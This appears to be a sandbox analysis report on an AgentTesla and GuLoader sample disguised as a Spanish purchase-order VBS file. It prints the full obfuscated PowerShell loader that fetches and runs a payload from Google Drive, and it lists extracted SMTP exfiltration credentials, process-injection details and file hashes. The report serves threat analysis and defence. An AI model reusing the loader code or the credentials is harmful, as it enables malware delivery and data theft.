agenttesla | b0dc753528fac2e75ebae213fad9d05ba85cf9f37858feda945d2eff47979e28

Analysis

max time kernel
144s
max time network
149s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
26-03-2024 12:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GRAF Ibérica, Tecnología del Plástico, S.L.U. P.Order 45621748 26085..vbs
Size

38KB
MD5

9a592d05ec8eb4ed0e40584bea35da7d
SHA1

924c99b82b764b77c25be6cf83cd204a283be8d7
SHA256

b0dc753528fac2e75ebae213fad9d05ba85cf9f37858feda945d2eff47979e28
SHA512

3c65b98b4f54cec9012bf40b1716fe3c71843fc850cbc7b395f7f3f47428c6186bc76f701ec19538070ed0f6441261a4ee570e456e72261310d1c716f91316f8
SSDEEP

384:u09gBQzXUIWz0AujGKoCJmMuttrW6ku83V3aiHwDUXNuGQAmQLM6JCuoMOmaU9ao:u09gBQzdWAZGc8NnKwiQoZYRZ1UY2TD

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.tecniseal.es
Port:
587
Username:
[email protected]
Password:
12348*tecniseal
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 2596 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

5 drive.google.com
18 drive.google.com
4 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2744 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2596 powershell.exe
2744 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2596 set thread context of 2744 2596 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2520 powershell.exe
2596 powershell.exe
2596 powershell.exe
2744 wab.exe
2744 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2596 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2520 powershell.exe
Token: SeDebugPrivilege 2596 powershell.exe
Token: SeDebugPrivilege 2744 wab.exe

flow	pid	process
16	2596	powershell.exe

flow	ioc
5	drive.google.com
18	drive.google.com
4	drive.google.com

pid	process
2744	wab.exe

pid	process
2596	powershell.exe
2744	wab.exe

description	pid	process	target process
PID 2596 set thread context of 2744	2596	powershell.exe	wab.exe

pid	process
2520	powershell.exe
2596	powershell.exe
2596	powershell.exe
2744	wab.exe
2744	wab.exe

pid	process
2596	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2744	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1368 wrote to memory of 2520	1368	WScript.exe	powershell.exe
PID 1368 wrote to memory of 2520	1368	WScript.exe	powershell.exe
PID 1368 wrote to memory of 2520	1368	WScript.exe	powershell.exe
PID 2520 wrote to memory of 2376	2520	powershell.exe	cmd.exe
PID 2520 wrote to memory of 2376	2520	powershell.exe	cmd.exe
PID 2520 wrote to memory of 2376	2520	powershell.exe	cmd.exe
PID 2520 wrote to memory of 2596	2520	powershell.exe	powershell.exe
PID 2520 wrote to memory of 2596	2520	powershell.exe	powershell.exe
PID 2520 wrote to memory of 2596	2520	powershell.exe	powershell.exe
PID 2520 wrote to memory of 2596	2520	powershell.exe	powershell.exe
PID 2596 wrote to memory of 2696	2596	powershell.exe	cmd.exe
PID 2596 wrote to memory of 2696	2596	powershell.exe	cmd.exe
PID 2596 wrote to memory of 2696	2596	powershell.exe	cmd.exe
PID 2596 wrote to memory of 2696	2596	powershell.exe	cmd.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe
PID 2596 wrote to memory of 2744	2596	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GRAF Ibérica, Tecnología del Plástico, S.L.U. P.Order 45621748 26085..vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#plaintail Juiblex Heathy Falsningerne Varedeklarationer Dreggiest #>;$Trskrerierne=(cmd /c set /A 115^^0);Function brugbare ([String]$Suboppositenessldslukkers){$Prostatovesiculectomy=[char][int]$Trskrerierne+'ubstring';$skdehundes=8;$Yarkee=Benniseed($Suboppositenessldslukkers);For($Suboppositeness=7; $Suboppositeness -lt $Yarkee; $Suboppositeness+=$skdehundes){$clogging=$Suboppositenessldslukkers.$Prostatovesiculectomy.Invoke($Suboppositeness, 1);$Sollegemets=$Sollegemets+$clogging;}$Sollegemets;}function refrained ($Sprjtelakerere){& ($Toxicodendrol) ($Sprjtelakerere);}function Benniseed ([String]$Kickwheel){$Tottie=$Kickwheel.Length-1;$Tottie;}$Crossway=brugbare ' Rdtj,nTCampanorCurransaLgeviden Mrkelis Quizzif Micr.eeTrefagsrPyrolusrH.manifiskovturnVaku mmgScenari ';$Overscurf=brugbare 'BusstophTilsp,dtMuta.ent sigelpkokassesStraali: Disdi./M.crose/bifagendPamfil rDysenteiPunktskvSuspecteSwelter.farmakog ,ankthoEdi.icaoLustin gForedralKvantete Gullan.Lyd solc DiskvaoPartl tmDoku en/ dfrieuForho.dcG,amori?LserindePositivx ,apparpIntrigeoFalse.orSup ratt Unsurm=Lngern dUnhaspsoPlukkeswPaaskudnbulldozlGanglieoPois onaAmoristd indkva&MelenaniHissel,dAutolim=Reva pe1AnomiteYBarslerRSpgefu z SvinglIFleresab aktionPUlstesbwsystemkj ,kraptrFaenass4 Parony2Fo slaaTSmaale,AShirlinvLibanesD urani,r eadingz Hensae0 Regarm5 AftessCRelatioCPhalarie Equivo5.epolar0Aqu.culaRegiona2Misdder_SpermatEMindestq Saffar1Supe noMVarian.YDiaphan ';$Toxicodendrol=brugbare 'AcetaldiSproglieSpecterxInt.tsi ';$Nondedicatory27=brugbare 'Indsaet$Udskr vgKo menelSkorsteoSkamrosbBasisudaPre.ibel Postp :Folke.yCTallerkeGymnasirSenili.a,urboprtSebagouoPup.locsNontermtHillsido varletmAnoma oaPar.leytadenoloaTriphylcBarnligeCi ronpaHassl te inkelh Indeb.a=Unbang. Deeded Sli.ardltOmn voraSemipolrnglepertSkalkni-ProtandB KrusemiPantefotHsligtosWhorysoTNove,izrPackthraUrinalenFanefj sN,mrenefSprogfoeMunds,nrBaseli ebrilla- SpndskSAd,anceo undlinuun agnerCharmerctripotae,laymor Csure $Jin,iliOPerspekvEpostk eBrus,horIntercosPunktn,cNvensouu,imetalrWoksslofKravlen Slutni.-Udstyk,DUnluxure Milj,rsGenoplitP,esavai utpresnAnni,ila,lasmsstBidde niIndgango NonlumnElefant A.lopha$DelingsL.apactiiBuffoondBrunheddMissounyCod iecsDemagog ';refrained (brugbare 'Karduse$mdeaktigSeminarl HarmenoUdfrd gb nologiaHungerslCorbyse:TransveL PolydaiWorkweedS imiesdSepte byT.enialsPostpro=Polysip$ DetergeOrzostan Lydis.vSkulder:U.brutaaEf ersypMusik rpExc,ucidOliphanaTakketat unsparaSextill ') ;refrained (brugbare 'KonstruIS,adionm sperggpStemn,noS,eerabrSkuresttTyvssav-AziolanMS ivelso TovscodNste unuWashstalBoganm e Shoutf CelluloB HunknsiTerritotInterfasSkimle,TSaguranrTorde saUnderfanAbaliensSko,syrfThe nthe SortierJackbo ') ;$Liddys=$Liddys+'\Butomaceae.Lak' ;refrained (brugbare 'Versoso$ ThewiegFrigidalStrimlioCerebrab esnataUngelatl oriari:Penici,SExc,ntru LineagbmaengdedLbehjulidelkl,svSy,tactiSvi.nins Tek.tbiRefraktoTange,tnTakninga StockblDobbelt=Therm.s(Chlor dT.onomaneUd.kivns EnetimtKragete- DestilPOv,ranxaThrut ht DestruhFigentr Underdr$KrilleeLSquarruiTraadhedSkrmvind CirkulyBosquecsPlecopt)Lovabi ') ;while (-not $Subdivisional) {refrained (brugbare 'HertugdISidelnmf Indesi Anraab(Retsina$Oroban,CInt.nsieMollu,cr exagraaEeyuchpt UnpopuoSnevejrsEeyuchntLuckineo Indbygm BrylluaFlleskltMole ilaMiticidc Kirke.e ErogenaBjarnise Udenri.OrkanenJPostrosoCranesbbHovedliS rhe ust LtetutaJazzedetTredimeeD.gangb Udregn-Meta.neeDotmatrqBestowm Olu se$RuffledCGen retrSporendoRevi ersistaplasDelsa,mwConjugaaI,fluenyFormidl) Alumin stylise{FiletknSAfskibntPal,iosaLibyansrWellsettDerecho-PriapulSSkuringl ukkeste obbereesiculaspAutotet Taftkjo1Finmot.}KikkerteDionysilrevseresscapigeeChymotr{Me alliS Ca hintItl,accaMartialrXenomift nedste-SimultaS NonasclUndefinealaddine Ba nehpAdjekt. Cotang 1Menass ; GourdyrDragsteeCrackpofBugefrerfusioneaRelikviiFlommebnIndregieDisseked unto r Voldgra$ApogamyNJabiruuohebraisnEno.yted krueiere.idendHidebouiVi,dmllcPicksmiatbruddetSphyrapo Kv,ulerDefoliayRe.ress2Tjrekll7 Quadri}Mowitaa ');refrained (brugbare 'Ik nisk$ Geran.gUndervil Fllesbosla.tenbHyperabaAlfaersl Aandsf:FlleskoSTertir.u Elemenb,eathrodarbe,deiPangenivblouttoiT,rmsbesLitterai Frotteo Precoan ZilasaaRekompelSkelstn= coital( Svaje,TWastiere FawnedsShopwort Stille-ophiolaPsenesceaLavaturtblunderh su.jec Ban.bes$TelsoniLPaniq iilogaritdenglndedGaleh.sySi.artrs Undeno)Repaveb ') ;}refrained (brugbare 'Rup.ure$Strictug DebridlArrenoto KinnikblystopfaKarike,l Fad,id:KursuspNSummerlo Sikke n.nequils SpaninhHistorirFyrsteliSnabelsnkonomigkMisplaniR.cegoinUniw argDiskettlReservey Falskt Pers ec=Gteseng TrephinGBaadflye P ychotFjel,en-HeltalsCOenskedoPalirrhnFeud litMdd,ngeepakvognnDodecantIncompl D,konst$Oph bedL StilteiLigatu.d Plannddsanglreycounters maanef ');refrained (brugbare 'Screenw$CopalmsgUndersglPin.ceso BladrebPro,ibia Pav,salMarvell:RimfrieM EnvenoiFagm,sslBuccalljVerticiaPolytron Tryknak Anno,se Non,alnIngseha1Incorpo2F,dighu0Tilkast Taaenst=So,iali synspun[leucitiSNonprogyBistadesS.hchtntDoublureClinocemInharmo.P,odenoC Unytt.oO,dfjninThoreauvHeavenieFilmforrOligo.ytSt,rmkl] B nker: Mayfow:medlemsFUnderdirFindfauoBrit onmFil.aleB Ford,vaAnrettesVanvitteCinnoli6 Sammes4PerneamSGr fikrtDiam,ntr.pslagsi femininKlingesgAnthoph(Panderi$CreodonNbordl.eoPikeswanCriminasGaffelthPapillorlapfu,siT lsommnSupe,pakWampishi Demokrn FamlesgmagicallHundredy Assemb)Afmnstr ');refrained (brugbare 'Unforbi$Penet.agReservalBageopsoYack,ngbAftenspapoinadolP efavo:StigereH VolantiKrgebrcsFuldtidtMatsifioHjsin,er BuskvkiFractoceGraduats Transpk Ex.coeranapa siFlyvegrvDameddieJurisdir marcotnUdsprjteKieselgs Trykka1Aetatgr4Sammens4Stringe Acciac.=Kvstels levsko[CruraprS Squea.yWapatabsPlove rtFillingeTitlerbmS.atted.puritanTfol,etieTovtrknxEm iremt Genfor.DollargEquinqu.nSlgtendcFeloidfoArtilled SamsteiTrmass.nkold.jig Uhe.di] Cordul:Chancit: ,nbackA preterSNo,neorCBitterfIBjergbaIArkaise. pregulG GrusveeUntuteltHorriblSAminizetErhvervrIncom.riFrost.unS.mirhygLavkomi(Talstrr$FormatlMPreceraiProjektlurba.nijChan,leaMaskinan.kildpak Stat ee agicalnHav ilj1G,odman2udskilt0.erveri).ermoph ');refrained (brugbare ' Savior$ParagragTu,nipslSnurrevoUnderhab zanthoaStyrthjlCollima: JapercCFlerdobaUnfavo.uAarersbcWheenc,uTeletekscerevissSystemieBivirknsForudbe=.oopath$CarabaoH Pot.ooi Ar.hytsTikisbatPhon.reoOutribbrUigen eiVaab.nfe.andforsColpenckraffesorKong sniblinkervP ecoineNarwundrIndust,nContuneeReg owssQuar,er1 Arb jd4Knivmus4Objekti.Diff.resdiambicuSkatteabMurriess UndstttDilettarCounteriGuffedenmajdagegKupffer(For egn3Strigle4 Pregre2slutrel0Plethys6 Vandmn3Batalje,Ov.rapp3Stigmal1Krselsd5K.mpott1Registe1Dampked)Shaheen ');refrained $Caucusses;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:2376

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#plaintail Juiblex Heathy Falsningerne Varedeklarationer Dreggiest #>;$Trskrerierne=(cmd /c set /A 115^^0);Function brugbare ([String]$Suboppositenessldslukkers){$Prostatovesiculectomy=[char][int]$Trskrerierne+'ubstring';$skdehundes=8;$Yarkee=Benniseed($Suboppositenessldslukkers);For($Suboppositeness=7; $Suboppositeness -lt $Yarkee; $Suboppositeness+=$skdehundes){$clogging=$Suboppositenessldslukkers.$Prostatovesiculectomy.Invoke($Suboppositeness, 1);$Sollegemets=$Sollegemets+$clogging;}$Sollegemets;}function refrained ($Sprjtelakerere){& ($Toxicodendrol) ($Sprjtelakerere);}function Benniseed ([String]$Kickwheel){$Tottie=$Kickwheel.Length-1;$Tottie;}$Crossway=brugbare ' Rdtj,nTCampanorCurransaLgeviden Mrkelis Quizzif Micr.eeTrefagsrPyrolusrH.manifiskovturnVaku mmgScenari ';$Overscurf=brugbare 'BusstophTilsp,dtMuta.ent sigelpkokassesStraali: Disdi./M.crose/bifagendPamfil rDysenteiPunktskvSuspecteSwelter.farmakog ,ankthoEdi.icaoLustin gForedralKvantete Gullan.Lyd solc DiskvaoPartl tmDoku en/ dfrieuForho.dcG,amori?LserindePositivx ,apparpIntrigeoFalse.orSup ratt Unsurm=Lngern dUnhaspsoPlukkeswPaaskudnbulldozlGanglieoPois onaAmoristd indkva&MelenaniHissel,dAutolim=Reva pe1AnomiteYBarslerRSpgefu z SvinglIFleresab aktionPUlstesbwsystemkj ,kraptrFaenass4 Parony2Fo slaaTSmaale,AShirlinvLibanesD urani,r eadingz Hensae0 Regarm5 AftessCRelatioCPhalarie Equivo5.epolar0Aqu.culaRegiona2Misdder_SpermatEMindestq Saffar1Supe noMVarian.YDiaphan ';$Toxicodendrol=brugbare 'AcetaldiSproglieSpecterxInt.tsi ';$Nondedicatory27=brugbare 'Indsaet$Udskr vgKo menelSkorsteoSkamrosbBasisudaPre.ibel Postp :Folke.yCTallerkeGymnasirSenili.a,urboprtSebagouoPup.locsNontermtHillsido varletmAnoma oaPar.leytadenoloaTriphylcBarnligeCi ronpaHassl te inkelh Indeb.a=Unbang. Deeded Sli.ardltOmn voraSemipolrnglepertSkalkni-ProtandB KrusemiPantefotHsligtosWhorysoTNove,izrPackthraUrinalenFanefj sN,mrenefSprogfoeMunds,nrBaseli ebrilla- SpndskSAd,anceo undlinuun agnerCharmerctripotae,laymor Csure $Jin,iliOPerspekvEpostk eBrus,horIntercosPunktn,cNvensouu,imetalrWoksslofKravlen Slutni.-Udstyk,DUnluxure Milj,rsGenoplitP,esavai utpresnAnni,ila,lasmsstBidde niIndgango NonlumnElefant A.lopha$DelingsL.apactiiBuffoondBrunheddMissounyCod iecsDemagog ';refrained (brugbare 'Karduse$mdeaktigSeminarl HarmenoUdfrd gb nologiaHungerslCorbyse:TransveL PolydaiWorkweedS imiesdSepte byT.enialsPostpro=Polysip$ DetergeOrzostan Lydis.vSkulder:U.brutaaEf ersypMusik rpExc,ucidOliphanaTakketat unsparaSextill ') ;refrained (brugbare 'KonstruIS,adionm sperggpStemn,noS,eerabrSkuresttTyvssav-AziolanMS ivelso TovscodNste unuWashstalBoganm e Shoutf CelluloB HunknsiTerritotInterfasSkimle,TSaguranrTorde saUnderfanAbaliensSko,syrfThe nthe SortierJackbo ') ;$Liddys=$Liddys+'\Butomaceae.Lak' ;refrained (brugbare 'Versoso$ ThewiegFrigidalStrimlioCerebrab esnataUngelatl oriari:Penici,SExc,ntru LineagbmaengdedLbehjulidelkl,svSy,tactiSvi.nins Tek.tbiRefraktoTange,tnTakninga StockblDobbelt=Therm.s(Chlor dT.onomaneUd.kivns EnetimtKragete- DestilPOv,ranxaThrut ht DestruhFigentr Underdr$KrilleeLSquarruiTraadhedSkrmvind CirkulyBosquecsPlecopt)Lovabi ') ;while (-not $Subdivisional) {refrained (brugbare 'HertugdISidelnmf Indesi Anraab(Retsina$Oroban,CInt.nsieMollu,cr exagraaEeyuchpt UnpopuoSnevejrsEeyuchntLuckineo Indbygm BrylluaFlleskltMole ilaMiticidc Kirke.e ErogenaBjarnise Udenri.OrkanenJPostrosoCranesbbHovedliS rhe ust LtetutaJazzedetTredimeeD.gangb Udregn-Meta.neeDotmatrqBestowm Olu se$RuffledCGen retrSporendoRevi ersistaplasDelsa,mwConjugaaI,fluenyFormidl) Alumin stylise{FiletknSAfskibntPal,iosaLibyansrWellsettDerecho-PriapulSSkuringl ukkeste obbereesiculaspAutotet Taftkjo1Finmot.}KikkerteDionysilrevseresscapigeeChymotr{Me alliS Ca hintItl,accaMartialrXenomift nedste-SimultaS NonasclUndefinealaddine Ba nehpAdjekt. Cotang 1Menass ; GourdyrDragsteeCrackpofBugefrerfusioneaRelikviiFlommebnIndregieDisseked unto r Voldgra$ApogamyNJabiruuohebraisnEno.yted krueiere.idendHidebouiVi,dmllcPicksmiatbruddetSphyrapo Kv,ulerDefoliayRe.ress2Tjrekll7 Quadri}Mowitaa ');refrained (brugbare 'Ik nisk$ Geran.gUndervil Fllesbosla.tenbHyperabaAlfaersl Aandsf:FlleskoSTertir.u Elemenb,eathrodarbe,deiPangenivblouttoiT,rmsbesLitterai Frotteo Precoan ZilasaaRekompelSkelstn= coital( Svaje,TWastiere FawnedsShopwort Stille-ophiolaPsenesceaLavaturtblunderh su.jec Ban.bes$TelsoniLPaniq iilogaritdenglndedGaleh.sySi.artrs Undeno)Repaveb ') ;}refrained (brugbare 'Rup.ure$Strictug DebridlArrenoto KinnikblystopfaKarike,l Fad,id:KursuspNSummerlo Sikke n.nequils SpaninhHistorirFyrsteliSnabelsnkonomigkMisplaniR.cegoinUniw argDiskettlReservey Falskt Pers ec=Gteseng TrephinGBaadflye P ychotFjel,en-HeltalsCOenskedoPalirrhnFeud litMdd,ngeepakvognnDodecantIncompl D,konst$Oph bedL StilteiLigatu.d Plannddsanglreycounters maanef ');refrained (brugbare 'Screenw$CopalmsgUndersglPin.ceso BladrebPro,ibia Pav,salMarvell:RimfrieM EnvenoiFagm,sslBuccalljVerticiaPolytron Tryknak Anno,se Non,alnIngseha1Incorpo2F,dighu0Tilkast Taaenst=So,iali synspun[leucitiSNonprogyBistadesS.hchtntDoublureClinocemInharmo.P,odenoC Unytt.oO,dfjninThoreauvHeavenieFilmforrOligo.ytSt,rmkl] B nker: Mayfow:medlemsFUnderdirFindfauoBrit onmFil.aleB Ford,vaAnrettesVanvitteCinnoli6 Sammes4PerneamSGr fikrtDiam,ntr.pslagsi femininKlingesgAnthoph(Panderi$CreodonNbordl.eoPikeswanCriminasGaffelthPapillorlapfu,siT lsommnSupe,pakWampishi Demokrn FamlesgmagicallHundredy Assemb)Afmnstr ');refrained (brugbare 'Unforbi$Penet.agReservalBageopsoYack,ngbAftenspapoinadolP efavo:StigereH VolantiKrgebrcsFuldtidtMatsifioHjsin,er BuskvkiFractoceGraduats Transpk Ex.coeranapa siFlyvegrvDameddieJurisdir marcotnUdsprjteKieselgs Trykka1Aetatgr4Sammens4Stringe Acciac.=Kvstels levsko[CruraprS Squea.yWapatabsPlove rtFillingeTitlerbmS.atted.puritanTfol,etieTovtrknxEm iremt Genfor.DollargEquinqu.nSlgtendcFeloidfoArtilled SamsteiTrmass.nkold.jig Uhe.di] Cordul:Chancit: ,nbackA preterSNo,neorCBitterfIBjergbaIArkaise. pregulG GrusveeUntuteltHorriblSAminizetErhvervrIncom.riFrost.unS.mirhygLavkomi(Talstrr$FormatlMPreceraiProjektlurba.nijChan,leaMaskinan.kildpak Stat ee agicalnHav ilj1G,odman2udskilt0.erveri).ermoph ');refrained (brugbare ' Savior$ParagragTu,nipslSnurrevoUnderhab zanthoaStyrthjlCollima: JapercCFlerdobaUnfavo.uAarersbcWheenc,uTeletekscerevissSystemieBivirknsForudbe=.oopath$CarabaoH Pot.ooi Ar.hytsTikisbatPhon.reoOutribbrUigen eiVaab.nfe.andforsColpenckraffesorKong sniblinkervP ecoineNarwundrIndust,nContuneeReg owssQuar,er1 Arb jd4Knivmus4Objekti.Diff.resdiambicuSkatteabMurriess UndstttDilettarCounteriGuffedenmajdagegKupffer(For egn3Strigle4 Pregre2slutrel0Plethys6 Vandmn3Batalje,Ov.rapp3Stigmal1Krselsd5K.mpott1Registe1Dampked)Shaheen ');refrained $Caucusses;"
3⤵
- Blocklisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2696

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
b86cede99aedc0a439230a45f8f99bbb

SHA1
99525e94a0bec0fdecadca0dd0b624b07c84a56e

SHA256
25ef5c0ed6e80b26edb37fc75019b222d4fa301ceb8475974fab209c79d2d129

SHA512
1f507b6ad69a2e0574a2e765edbe0b5da5d4c2f1910f6c7a0444386bfb09d3c1662818b0a9b2c7b122b44794e19457b346777d77e9ae3ba12847b83cfbc649f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab8102.tmp

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EXD6XG576V83B0WSPEMR.temp

Filesize
7KB

MD5
3406cc920831a591d1bbf2ffa37eb582

SHA1
c0c47731a9248d8ce1e5791c6b3757018597365d

SHA256
41762d4153f29c12b76f317b140bc46655a98c19bca030252eb259db115df8db

SHA512
f0eabf6d9a36af16a4141e268e5e6f66a5bc6b44e6b7c2c3497196cb960bf410e7b2678927651c21e21ddd698a4bff79c6a6b23d1b4b29ab382ea17b5c0c4243

Download Submit
memory/2520-38-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-7-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-9-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-12-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-11-0x0000000002A90000-0x0000000002AB2000-memory.dmp

Filesize
136KB

Download
memory/2520-5-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-36-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-6-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2520-76-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-4-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2520-8-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-32-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/2520-13-0x00000000029A0000-0x00000000029B2000-memory.dmp

Filesize
72KB

Download
memory/2520-34-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2520-35-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2596-16-0x0000000072D30000-0x00000000732DB000-memory.dmp

Filesize
5.7MB

Download
memory/2596-40-0x0000000006DD0000-0x00000000099A5000-memory.dmp

Filesize
43.8MB

Download
memory/2596-33-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2596-19-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2596-17-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2596-41-0x0000000072D30000-0x00000000732DB000-memory.dmp

Filesize
5.7MB

Download
memory/2596-42-0x00000000026F0000-0x0000000002730000-memory.dmp

Filesize
256KB

Download
memory/2596-43-0x0000000076CF0000-0x0000000076E99000-memory.dmp

Filesize
1.7MB

Download
memory/2596-44-0x0000000076EE0000-0x0000000076FB6000-memory.dmp

Filesize
856KB

Download
memory/2596-18-0x0000000072D30000-0x00000000732DB000-memory.dmp

Filesize
5.7MB

Download
memory/2596-75-0x0000000006DD0000-0x00000000099A5000-memory.dmp

Filesize
43.8MB

Download
memory/2596-37-0x0000000006DD0000-0x00000000099A5000-memory.dmp

Filesize
43.8MB

Download
memory/2596-70-0x0000000006DD0000-0x00000000099A5000-memory.dmp

Filesize
43.8MB

Download
memory/2596-39-0x0000000006120000-0x0000000006121000-memory.dmp

Filesize
4KB

Download
memory/2744-73-0x00000000004D0000-0x0000000000510000-memory.dmp

Filesize
256KB

Download
memory/2744-48-0x0000000076EE0000-0x0000000076FB6000-memory.dmp

Filesize
856KB

Download
memory/2744-71-0x00000000004D0000-0x0000000001532000-memory.dmp

Filesize
16.4MB

Download
memory/2744-72-0x0000000076EE0000-0x0000000076FB6000-memory.dmp

Filesize
856KB

Download
memory/2744-47-0x0000000076F16000-0x0000000076F17000-memory.dmp

Filesize
4KB

Download
memory/2744-74-0x000000006E640000-0x000000006ED2E000-memory.dmp

Filesize
6.9MB

Download
memory/2744-46-0x0000000076CF0000-0x0000000076E99000-memory.dmp

Filesize
1.7MB

Download
memory/2744-45-0x0000000001540000-0x0000000004115000-memory.dmp

Filesize
43.8MB

Download
memory/2744-78-0x0000000001540000-0x0000000004115000-memory.dmp

Filesize
43.8MB

Download
memory/2744-80-0x000000006E640000-0x000000006ED2E000-memory.dmp

Filesize
6.9MB

Download